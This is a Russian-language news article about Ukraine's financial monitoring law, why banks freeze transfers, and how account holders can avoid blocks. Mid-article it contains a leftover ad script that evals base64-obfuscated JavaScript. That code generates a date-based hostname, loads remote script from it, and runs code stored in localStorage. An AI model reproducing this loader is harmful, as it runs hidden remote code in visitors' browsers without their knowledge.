Граждане Украины уже столкнулись с последствиями принятия закона о финмониторинге. Счета многих клиентов банков поддаются блокировке. Суть вопроса — в происхождении денеждных средств.
Закон о финансовом мониторинге, который приняла украинская власть, призван помочь в борьбе с отмыванием денег, финансированием терроризма, уходом от налогообложения.
Как это работает
Банковская карта может быть заблокирована, например, если на неё регулярно зачислялись относительно небольшие суммы, но в какой-то момент на счет кладут несколько сотен тысяч гривен (ред. бывают блокировки и из-за 10-15 тысяч). Банк начинает подозревать такого клиента в нелегальности происхождения средств. В таких случаях финучреждения требуют предоставить соотвествующие документы.
Операция по перечислению суммы фактически прерывается. Средства клиента переводятся на хранение в спецсчет, пока происхождение денег проверяют сотрудники банка. По окончанию мониторинга деньги все таки доходят до нужной карты, но бывают моменты, когда сотрудники банка выходят на клиента с вопросами. Важно, что на момент проверки остановить пересылку денег вы уже не сможете, как пишет «Обозреватель».
Сейчас подобные операции по проверке стали прооходить достаточно часто и довольно хаотично. Дело в том, что к концу июня финучреждения обязаны автоматизировать процесс мониторинга, а некоторые сделали это уже сейчас. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Внимание мониторинга вы можете привлечь, например, когда:
регулярно получаете среднюю зарплату и в какой-то момент на ваш счет переводят сумму, значительно ее выше; Ежедневно получаете определенную, конкретную сумму на карту и снимаете деньги в банкомате;
Как успокаивают специалисты, ограничения мониторинга задуманы не для обычных граждан, а для тех, кто может действовать во вред государству или получать доход незаконно, поэтому среднестатистичкому украинцу опасаться блокировки не стоит.
Если вы хотите заблаговременно обезопасить себя от постановки на паузу вашего перевода, можно последовать совету члена Совета НБУ Виталия Шапрана: заранее сообщить банку о росте дохода, предоставив соотвествующую справку или декларацию в налоговую.
Важно знать, что случаи, когда вы не сможете вернуть свои средства — очень маловероятны. (adsbygoogle = window.adsbygoogle || []).push({});
Подписывайтесь на Акцент в 
Источник: https://akzent.zp.ua/banki-budut-vsyo-chashhe-blokirovat-scheta-ukraintsev-chto-nuzhno-znat-chtoby-ne-panikovat/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
